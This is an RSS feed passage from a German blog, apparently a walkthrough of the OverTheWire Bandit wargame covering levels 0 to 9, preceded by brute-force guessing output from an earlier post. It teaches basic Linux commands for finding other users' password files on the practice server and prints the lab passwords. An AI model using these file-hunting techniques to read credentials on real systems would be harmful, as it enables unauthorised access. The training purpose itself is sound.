</span></span><span style="display:flex;"><span>bcdghkmnqrswAGHNP
</span></span><span style="display:flex;"><span>bcdghkmnqrswAGHNPQ
</span></span><span style="display:flex;"><span>bcdghkmnqrswAGHNPQS
</span></span><span style="display:flex;"><span>bcdghkmnqrswAGHNPQSW
</span></span><span style="display:flex;"><span>bcdghkmnqrswAGHNPQSW3
</span></span><span style="display:flex;"><span>bcdghkmnqrswAGHNPQSW35
</span></span><span style="display:flex;"><span>bcdghkmnqrswAGHNPQSW357
</span></span><span style="display:flex;"><span>bcdghkmnqrswAGHNPQSW3578
</span></span><span style="display:flex;"><span>bcdghkmnqrswAGHNPQSW35789
</span></span><span style="display:flex;"><span>bcdghkmnqrswAGHNPQSW357890
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">8</span>
</span></span><span style="display:flex;"><span>8P
</span></span><span style="display:flex;"><span>8Ps
</span></span><span style="display:flex;"><span>8Ps3
</span></span><span style="display:flex;"><span>8Ps3H
</span></span><span style="display:flex;"><span>8Ps3H0
</span></span><span style="display:flex;"><span>8Ps3H0G
</span></span><span style="display:flex;"><span>8Ps3H0GW
</span></span><span style="display:flex;"><span>8Ps3H0GWb
</span></span><span style="display:flex;"><span>8Ps3H0GWbn
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5r
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7G
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7Gm
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7GmA
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7GmAd
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7GmAdg
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7GmAdgQ
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7GmAdgQN
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7GmAdgQNd
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7GmAdgQNdk
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7GmAdgQNdkh
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7GmAdgQNdkhP
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7GmAdgQNdkhPk
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9c
</span></span><span style="display:flex;"><span>8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
</span></span></code></pre></div><h2 id="level-16---level-17"><strong>Level 16 -&gt; Level 17</strong></h2>
<h2 id="level-17---level-18"><strong>Level 17 -&gt; Level 18</strong></h2>
<h2 id="level-18---level-19"><strong>Level 18 -&gt; Level 19</strong></h2>
<h2 id="level-19---level-20"><strong>Level 19 -&gt; Level 20</strong></h2>
<h2 id="level-20---level-21"><strong>Level 20 -&gt; Level 21</strong></h2>
<h2 id="level-21---level-22"><strong>Level 21 -&gt; Level 22</strong></h2>
<h2 id="level-22---level-23"><strong>Level 22 -&gt; Level 23</strong></h2>
<h2 id="level-23---level-24"><strong>Level 23 -&gt; Level 24</strong></h2>
<h2 id="level-24---level-25"><strong>Level 24 -&gt; Level 25</strong></h2>
<h2 id="level-25---level-26"><strong>Level 25 -&gt; Level 26</strong></h2>
<h2 id="level-26---level-27"><strong>Level 26 -&gt; Level 27</strong></h2>
<h2 id="level-27---level-28"><strong>Level 27 -&gt; Level 28</strong></h2>
<h2 id="level-28---level-29"><strong>Level 28 -&gt; Level 29</strong></h2>
<h2 id="level-29---level-30"><strong>Level 29 -&gt; Level 30</strong></h2>
<h2 id="level-30---level-31"><strong>Level 30 -&gt; Level 31</strong></h2>
<h2 id="level-31---level-32"><strong>Level 31 -&gt; Level 32</strong></h2>
<h2 id="level-32---level-33"><strong>Level 32 -&gt; Level 33</strong></h2>
]]></content></item><item><title>OverTheWire Bandit WriteUp - Alle Level</title><link>https://m10x.de/posts/2018/02/overthewire-bandit-writeup-alle-level/</link><pubDate>Tue, 13 Feb 2018 20:38:56 +0100</pubDate><guid>https://m10x.de/posts/2018/02/overthewire-bandit-writeup-alle-level/</guid><description>Einleitung Wargames OverTheWire.org bietet über 15 verschiedene Wargames an, welche verschiedene Schwierigskeitgrade haben. Wenn du den Begriff &amp;ldquo;Wargame&amp;rdquo; im Bezug zu Cyber Security zum ersten Mal hörst, fragst du dich bestimmt: &amp;ldquo;Was ist eigentlich ein Wargame?&amp;rdquo;.
Wargames sind Herausforderungen, entweder online oder offline als Virtuelle Maschine, in denen man versucht Sicherheitslücken auszunutzen und/oder Zugriff zu etwas zu erlangen. Sie sind teilweise sehr unterschiedlich was die benötigten Fähigkeiten, die Herausforderung und die Vorgehensweise anbelangt.</description><content type="html"><![CDATA[<h2 id="einleitung-wargames"><strong>Einleitung Wargames</strong></h2>
<p><a href="http://overthewire.org/wargames/">OverTheWire.org</a> bietet über 15 verschiedene Wargames an, welche verschiedene Schwierigskeitgrade haben. Wenn du den Begriff &ldquo;Wargame&rdquo; im Bezug zu Cyber Security zum ersten Mal hörst, fragst du dich bestimmt: &ldquo;Was ist eigentlich ein Wargame?&rdquo;.<br>
Wargames sind Herausforderungen, entweder online oder offline als Virtuelle Maschine, in denen man versucht Sicherheitslücken auszunutzen und/oder Zugriff zu etwas zu erlangen. Sie sind teilweise sehr unterschiedlich was die benötigten Fähigkeiten, die Herausforderung und die Vorgehensweise anbelangt. Wargames werden von verschiedenen Internetseiten angeboten und haben teilweise eine große Community. Eine Liste von Wargame Anbietern kannst du <a href="https://github.com/apsdehal/awesome-ctf#wargames">hier</a> finden.</p>
<h2 id="einleitung-bandit-wargame"><strong>Einleitung Bandit Wargame</strong></h2>
<p><a href="http://overthewire.org/wargames/bandit/">Bandit</a> ist, wie schon erwähnt, eines der Wargames von <a href="http://overthewire.org/wargames/">OverTheWire.org</a><br>
Es ist ein Wargame für Beginner / Einsteiger und perfekt für welche, die noch keine Erfahrung mit Wargames haben. Es bringt einem die Grundlagen bei, die man benötigt, um andere Wargames erfolgreich zu absolvieren. Grundkenntnisse in Linux / Bash sind vorausgesetzt. Falls ihr bei einem Level nicht weiter kommen solltet, könnt ihr euch ansehen, wie ich das Level gelöst habe oder auch euren Ansatz mit meinem vergleichen. Bei <a href="http://overthewire.org/wargames/bandit/">Bandit</a> geht es darum sich mit einem vorgegebenen Benutzernamen und Passwort über SSH sich zu einem Linux Server zu verbinden. Nun ist es die Aufgabe das Passwort herauszufinden, um sich als ein anderer Benutzer anzumelden.</p>
<h2 id="level-0"><strong>Level 0</strong></h2>
<p><a href="http://overthewire.org/wargames/bandit/">Hier</a> kommst du zu der Internetseite von Bandit. Alles Relevante werde ich dir aber auch hier mitteilen.</p>
<p>Als erstes müssen wir uns über <a href="https://wiki.ubuntuusers.de/SSH/">SSH</a> mit dem Spiel verbinden. Die Adresse des Host ist <strong>bandit.labs.overthewire.org</strong> und der Port <strong>2220</strong>. Der Benutzername ist <strong>bandit0</strong> und das Passwort ebenfalls <strong>bandit0</strong>.</p>
<p>Linux:<br>
Um die SSH Verbindung zum Spiel herzustellen, benutzen wir folgendes:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>ssh bandit0@bandit.labs.overthewire.org -p <span style="color:#ae81ff">2220</span>
</span></span></code></pre></div><p>In diesem Fall haben wir uns als Benutzer <strong>bandit0</strong> angemeldet.</p>
<p>Um die Verbindung zu trennen um uns nachher als nächster Benutzer anzumelden, schreiben wir <strong>exit</strong>.</p>
<h2 id="level-0---level-1"><strong>Level 0 -&gt; Level 1</strong></h2>
<p>Nun müssen wir versuchen das Passwort für den nächsten Benutzer <strong>bandit1</strong> herauszufinden.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort können wir in einer Datei namens <strong>readme</strong> finden, welche im Homeverzeichnis liegt.</p>
<p>Als erstes benutzen wir den Befehl <strong>ls</strong> um herauszufinden, welche Dateien im aktuellen Verzeichnis zu finden sind.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit0@bandit:~$ ls
</span></span><span style="display:flex;"><span>readme
</span></span></code></pre></div><p>Wir haben nun also die Datei <strong>readme</strong> gefunden, in welcher das Passwort gespeichert ist.<br>
Jetzt können wir <strong>cat</strong> benutzen, um den Inhalt der Datei auszugeben.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit0@bandit:~$ cat readme
</span></span><span style="display:flex;"><span>boJ9jbbUNNfktd78OOpsqOltutMc3MY1
</span></span></code></pre></div><h2 id="level-1---level-2"><strong>Level 1 -&gt; Level 2</strong></h2>
<p>Der Benutzername, mit dem wir uns für das nächste Level anmelden müssen, ist logischerweise <strong>bandit1</strong>. Das Passwort haben wir gerade herausgefunden. Es lautet: <strong>boJ9jbbUNNfktd78OOpsqOltutMc3MY1</strong><br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort liegt in einer Datei namens <strong>-</strong>, welche im Homeverzeichnis liegt.</p>
<p>Wir benutzen erst einmal wieder <strong>ls</strong> um alle Dateien im aktuellen Verzeichnis anzeigen zu lassen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit1@bandit:~$ ls
</span></span><span style="display:flex;"><span>-
</span></span></code></pre></div><p>Wir können nun aber nicht analog zum vorherigen Level <strong>cat -</strong> benutzen, um den Inhalt der Datei <strong>-</strong> auszugeben, da <strong>-</strong> ebenfalls dazu benutzt wird, um Optionen für Befehle anzugeben.<br>
Stattdessen können wir <strong>cat ./-</strong> benutzen. <strong>./</strong> bezeichnet den aktuellen Ordner, in dem man sich befindet.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit1@bandit:~$ cat ./-
</span></span><span style="display:flex;"><span>CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
</span></span></code></pre></div><p>Alternativ können wir auch <strong>cat &lt; -</strong> benutzen. <strong>&lt;</strong> wird, unter Anderem, benutzt um den Inhalt einer Datei an einen Befehl umzuleiten. Weiter Informationen zu Umleitungen kannst du <a href="https://wiki.ubuntuusers.de/Shell/Umleitungen/">hier</a> finden.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit1@bandit:~$ cat &lt; -
</span></span><span style="display:flex;"><span>CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
</span></span></code></pre></div><h2 id="level-2---level-3"><strong>Level 2 -&gt; Level 3</strong></h2>
<p>Wir melden uns nun als <strong>bandit2</strong> mit dem Passwort <strong>CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort ist in einer Datei namens <strong>spaces in this filename</strong>, welche im Heimverzeichnis liegt.</p>
<p>Wir benutzen erst einmal wieder <strong>ls</strong>, um alle Dateien im aktuellen Verzeichnis anzeigen zu lassen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit2@bandit:~$ ls
</span></span><span style="display:flex;"><span>spaces in this filename
</span></span></code></pre></div><p>Hier haben wir jetzt verschiedene Möglichkeiten.<br>
Die einfachste Möglichkeit ist <strong>cat &ldquo;spaces in this filename&rdquo;</strong> oder <strong>cat &lsquo;spaces in this filename&rsquo;</strong>.<br>
Alternativ geht auch <strong>cat spaces\ in\ this\ filename</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit2@bandit:~$ cat <span style="color:#e6db74">&#34;spaces in this filename&#34;</span>
</span></span><span style="display:flex;"><span>UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK
</span></span></code></pre></div><h2 id="level-3---level-4"><strong>Level 3 -&gt; Level 4</strong></h2>
<p>Wir melden uns nun als <strong>bandit3</strong> mit dem Passwort <strong>UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort befindet sich in einer versteckten Datei (= hidden file), in dem <strong>inhere</strong> Ordner.</p>
<p>Wir fangen wieder mit dem alt bewährten <strong>ls</strong> an, um alle Dateien im aktuellen Verzeichnis anzeigen zu lassen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit3@bandit:~$ ls
</span></span><span style="display:flex;"><span>inhere
</span></span></code></pre></div><p>Wir sehen nun den Ordner <strong>inhere</strong>. Um diesen zu öffnen, benutzen wir den Befehl <strong>cd</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit3@bandit:~$ cd inhere
</span></span><span style="display:flex;"><span>bandit3@bandit:~/inhere$
</span></span></code></pre></div><p>Wenn wir nun wieder <strong>ls</strong> benutzen, wird uns nichts angezeigt, da die Datei, welche wir suchen, versteckt wurde.<br>
Deswegen benutzen wir die Option <strong>-a</strong> von dem Befehl <strong>ls</strong>. Das sorgt dafür, dass auch alle versteckten Dateien und Ordner angezeigt werden.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit3@bandit:~/inhere$ ls -a
</span></span><span style="display:flex;"><span>. .. .hidden
</span></span></code></pre></div><p>Da wir jetzt wissen, dass die Datei <strong>.hidden</strong> heißt und in dem aktuellen Ordner hier liegt, können wir den Inhalt wie gewohnt mit <strong>cat</strong> ausgeben lassen</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit3@bandit:~/inhere$ cat .hidden
</span></span><span style="display:flex;"><span>pIwrPrtPN36QITSp3EQaw936yaFoFgAB
</span></span></code></pre></div><h2 id="level-4---level-5"><strong>Level 4 -&gt; Level 5</strong></h2>
<p>Wir melden uns nun als <strong>bandit4</strong> mit dem Passwort <strong>pIwrPrtPN36QITSp3EQaw936yaFoFgAB</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort befindet sich in der einzigen Datei, im <strong>inhere</strong> Ordner, welche für Menschen lesbar (= human-readable) ist.</p>
<p>Es kommt wieder zuerst das altbewährte <strong>ls</strong> zum Einsatz und danach <strong>cd</strong> um den Ordner <strong>inhere</strong> zu öffnen</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit4@bandit:~$ ls
</span></span><span style="display:flex;"><span>inhere
</span></span><span style="display:flex;"><span>bandit4@bandit:~$ cd inhere
</span></span><span style="display:flex;"><span>bandit4@bandit:~/inhere$
</span></span></code></pre></div><p>Jetzt wieder <strong>ls</strong> um die Dateien im Ordner sehen zu können</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit4@bandit:~/inhere$ ls
</span></span><span style="display:flex;"><span>-file00 -file02 -file04 -file06 -file08
</span></span><span style="display:flex;"><span>-file01 -file03 -file05 -file07 -file09
</span></span></code></pre></div><p>Es befinden sich 10 Dateien in dem Ordner. Man könnte sich nun jede einzelne ansehen, aber das würde zu lange dauern und zu aufwändig sein.<br>
Mit <strong>file</strong> können wir uns anzeigen lassen was für eine Art von Inhalt eine Datei enthält. <strong>./</strong>* bezeichnet alle Dateien die im aktuellen Ordner sind.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit4@bandit:~/inhere$ file ./*
</span></span><span style="display:flex;"><span>./-file00: data
</span></span><span style="display:flex;"><span>./-file01: data
</span></span><span style="display:flex;"><span>./-file02: data
</span></span><span style="display:flex;"><span>./-file03: data
</span></span><span style="display:flex;"><span>./-file04: data
</span></span><span style="display:flex;"><span>./-file05: data
</span></span><span style="display:flex;"><span>./-file06: data
</span></span><span style="display:flex;"><span>./-file07: ASCII text
</span></span><span style="display:flex;"><span>./-file08: data
</span></span><span style="display:flex;"><span>./-file09: data
</span></span></code></pre></div><p><strong>./-file07: ASCII text</strong> sieht viel versprechend aus. Sehen wir uns die Datei mal genauer an mit Hilfe von <strong>cat</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit4@bandit:~/inhere$ cat ./-file07
</span></span><span style="display:flex;"><span>koReBOKuIDDepwhWk7jZC0RTdopnAYKh
</span></span></code></pre></div><h2 id="level-5---level-6"><strong>Level 5 -&gt; Level 6</strong></h2>
<p>Wir melden uns nun als <strong>bandit5</strong> mit dem Passwort <strong>koReBOKuIDDepwhWk7jZC0RTdopnAYKh</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort ist wieder in einer Datei innerhalb des <strong>inhere</strong> Ordners.<br>
Diese Datei hat folgende Eigenschaften:</p>
<ul>
<li>Sie ist für Menschen lesbar (= human-readable)</li>
<li>Sie ist 1033 Bytes groß</li>
<li>Sie ist nicht ausführbar (= not executable)</li>
</ul>
<p>Als erstes begeben wir uns wieder in den <strong>inhere</strong> Ordner und schauen uns dessen Inhalt an.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit5@bandit:~$ ls
</span></span><span style="display:flex;"><span>inhere
</span></span><span style="display:flex;"><span>bandit5@bandit:~$ cd inhere/
</span></span><span style="display:flex;"><span>bandit5@bandit:~/inhere$ ls
</span></span><span style="display:flex;"><span>maybehere00 maybehere04 maybehere08 maybehere12 maybehere16
</span></span><span style="display:flex;"><span>maybehere01 maybehere05 maybehere09 maybehere13 maybehere17
</span></span><span style="display:flex;"><span>maybehere02 maybehere06 maybehere10 maybehere14 maybehere18
</span></span><span style="display:flex;"><span>maybehere03 maybehere07 maybehere11 maybehere15 maybehere19
</span></span></code></pre></div><p>Im <strong>inhere</strong> Ordner befinden sich also 20 weitere Ordner. Um die richtige Datei, welche das Passwort beinhaltet, schnell und einfach zu finden, können wir den Befehl <strong>find</strong> benutzen.<br>
Wir benutzen den Befehl find mit folgenden Optionen:<br>
<strong>-type f</strong>, da wir eine normale Datei suchen. <strong>f</strong> steht in diesem Fall einfach nur für <strong>file</strong>.<br>
<strong>-readable</strong>, da die Datei für Menschen lesbar ist (= human-readable)<br>
<strong>! -executable</strong>, da die Datei nicht ausführbar ist (= non executable). Das <strong>!</strong> verneint in diesem Fall die Option <strong>-executable</strong>.<br>
<strong>-size 1033c</strong>, da die Datei 1033 Bytes groß ist. <strong>c</strong> gibt in diesem Fall an, dass die Größe in Bytes gemeint ist.<br>
Und natürlich auch <strong>./</strong>, was einfach nur angibt, dass die Datei irgendwo innerhalb des aktuellen Ordners (<strong>inhere</strong>) zu finden ist.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit5@bandit:~/inhere$ find ./ -type f -readable ! -executable -size 1033c
</span></span><span style="display:flex;"><span>./maybehere07/.file2
</span></span></code></pre></div><p>Nun müssen wir nur noch den Inhalt der Datei <strong>.file2</strong>, welche sich im Ordner <strong>maybehere07</strong> befindet, ausgeben.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit5@bandit:~/inhere$ cat ./maybehere07/.file2
</span></span><span style="display:flex;"><span>DXjZPULLxYr17uwoI01bNLQbtFemEgo7
</span></span></code></pre></div><h2 id="level-6---level-7"><strong>Level 6 -&gt; Level 7</strong></h2>
<p>Wir melden uns nun als <strong>bandit6</strong> mit dem Passwort <strong>DXjZPULLxYr17uwoI01bNLQbtFemEgo7</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Die Datei, in welcher sich das Passwort befindet, ist irgendwo auf dem Server und hat folgende Eigenschaften:</p>
<ul>
<li>Sie ist im Besitz von dem Benutzer <strong>bandit7</strong></li>
<li>Sie ist im Besitz von der Gruppe <strong>bandit6</strong></li>
<li>Sie ist 33 Bytes groß</li>
</ul>
<p>Hier kommt, wie im vorherigen Level, wieder der Befehl <strong>find</strong> zum Einsatz.<br>
Diesmal mit folgenden Optionen:<br>
<strong>/</strong>, damit der gesamte Server durchsucht wird<br>
<strong>-user bandit7</strong>, da der Benutzer <strong>bandit7</strong> als Besitzer eingetragen ist<br>
<strong>-group bandit6</strong>, da ebenfalls die Gruppe <strong>bandit6</strong> als Besitzer eingetragen ist<br>
<strong>-size 33c</strong>, da die Datei 33 Bytes groß ist. <strong>c</strong> gibt in diesem Fall an, dass die Größe in Bytes gemeint ist.<br>
<strong>2&gt;/dev/null</strong>, diese Option ist dafür da jede Fehlermeldung umzuleiten, damit nicht jede einzelne wie z.B. &ldquo;Zugriff verweigert&rdquo; in unserem Terminal ausgegeben wird. Weitere Informationen zu Umleitungen kannst du <a href="https://wiki.archlinux.de/title/Umleitungen#Ausgabeumleitung">hier</a> finden.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit6@bandit:~/inhere$ find / -user bandit7 -group bandit6 -size 33c 2&gt;/dev/null
</span></span><span style="display:flex;"><span>/var/lib/dpkg/info/bandit7.password
</span></span></code></pre></div><p>Jetzt wo wir die Datei gefunden haben, müssen wir wieder nur ihren Inhalt ausgeben.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit6@bandit:~$ cat /var/lib/dpkg/info/bandit7.password
</span></span><span style="display:flex;"><span>HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs
</span></span></code></pre></div><h2 id="level-7---level-8"><strong>Level 7 -&gt; Level 8</strong></h2>
<p>Wir melden uns nun als <strong>bandit7</strong> mit dem Passwort <strong>HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort befindet sich in der Datei <strong>data.txt</strong> neben dem Wort <strong>millionth</strong>.</p>
<p>Mithilfe von <a href="https://wiki.ubuntuusers.de/grep/">grep</a> können wir Input nach bestimmten Zeichen und Wörtern durchsuchen und nur Zeilen darstellen lassen, welche diese enthalten. Mithilfe von <strong>&gt;</strong> leiten wir den Output von <strong>cat</strong> zu <a href="https://wiki.ubuntuusers.de/grep/">grep</a> um. Mehr Informationen zu <a href="https://wiki.ubuntuusers.de/Shell/Umleitungen/#Umleiten-der-Ausgabe-mit">Umleitungen</a> kannst du <a href="https://wiki.ubuntuusers.de/Shell/Umleitungen/#Umleiten-der-Ausgabe-mit">hier</a> finden.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit7@bandit:~$ ls
</span></span><span style="display:flex;"><span>data.txt
</span></span><span style="display:flex;"><span>bandit7@bandit:~$ cat data.txt | grep millionth
</span></span><span style="display:flex;"><span>millionth cvX2JJa4CFALtqS87jk27qwqGhBM9plV
</span></span></code></pre></div><h2 id="level-8---level-9"><strong>Level 8 -&gt; Level 9</strong></h2>
<p>Wir melden uns nun als <strong>bandit8</strong> mit dem Passwort <strong>cvX2JJa4CFALtqS87jk27qwqGhBM9plV</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort befindet sich in der Datei <strong>data.txt</strong> in der einzigen Zeile, die ein einziges Mal vorkommt.</p>
<p>Für dieses Level benutzen wir wie gewohnt:</p>
<ul>
<li>cat</li>
<li>den <a href="https://wiki.ubuntuusers.de/Shell/Umleitungen/#Der-Pipe-Operator">Pipe-Operator |</a>, dieser Leitet den Output eines Befehls direkt zu einem anderen Befehl weiter</li>
<li><a href="https://wiki.ubuntuusers.de/sort/">sort</a>, mithilfe von <a href="https://wiki.ubuntuusers.de/sort/">sort</a> können wir Dateien zeilenweise sortieren.</li>
<li><a href="https://wiki.ubuntuusers.de/uniq/">uniq</a>, mithilfe von <a href="https://wiki.ubuntuusers.de/uniq/">uniq</a> können wir Dateien ohne doppelte Zeilen ausgeben. Die Option <strong>-u</strong> sorgt dafür, dass nur Zeilen ausgegeben werden, welche nicht mehrmals vorkommen.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit8@bandit:~$ ls
</span></span><span style="display:flex;"><span>data.txt
</span></span><span style="display:flex;"><span>bandit8@bandit:~$ cat data.txt | sort | uniq -u
</span></span><span style="display:flex;"><span>UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
</span></span></code></pre></div><p><strong>cat</strong> gibt den Inhalt der Datei <strong>data.txt</strong> an <strong>sort</strong> weiter.<br>
<strong>sort</strong> sortiert diesen und gibt ihn an <strong>uniq -u</strong> weiter.<br>
<strong>uniq -u</strong> gibt dann die nur die Zeilen aus, welche nicht mehrmals vorkommen</p>
<h2 id="level-9---level-10"><strong>Level 9 -&gt; Level 10</strong></h2>
<p>Wir melden uns nun als <strong>bandit9</strong> mit dem Passwort <strong>UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort befindet sich in der Datei <strong>data.txt</strong> in einer der wenigen für Menschen lesbaren (= human-readable) Strings und beginnt mit mehreren <strong>=</strong>.</p>
<p><strong>data.txt</strong> ist diesmal eine Binär-Datei. Wenn wir <a href="https://wiki.ubuntuusers.de/cat/">cat</a> benutzen sehen wir nur ein unleserliches Wirrwarr. Stattdessen benutzen wir <a href="https://en.wikipedia.org/wiki/Strings_(Unix)">strings</a>. Strings gibt nur Zeilen mit &ldquo;druckbaren&rdquo;/&ldquo;lesbaren&rdquo; Charakteren aus.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit9@bandit:~$ ls
</span></span><span style="display:flex;"><span>data.txt
</span></span><span style="display:flex;"><span>bandit9@bandit:~$ strings data.txt | grep <span style="color:#e6db74">&#39;==&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">==========</span> theP<span style="color:#e6db74">`</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">==========</span> password
</span></span><span style="display:flex;"><span>L<span style="color:#f92672">==========</span> isA
</span></span><span style="display:flex;"><span><span style="color:#f92672">==========</span> truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
</span></span></code></pre></div><p>[su_box title=&ldquo;Möchtest du benachrichtigt werden, wenn ein neuer Artikel veröffentlicht wurde?&rdquo; style=&ldquo;noise&rdquo; box_color=&quot;#1874CD&quot; title_color=&quot;#FFFFFF&quot; radius=&ldquo;20&rdquo; class=&quot;&quot;][email-subscribers namefield=&ldquo;YES&rdquo; desc=&quot;&quot; group=&ldquo;Public&rdquo;][/su_box]</p>
<h2 id="level-10---level-11"><strong>Level 10 -&gt; Level 11</strong></h2>
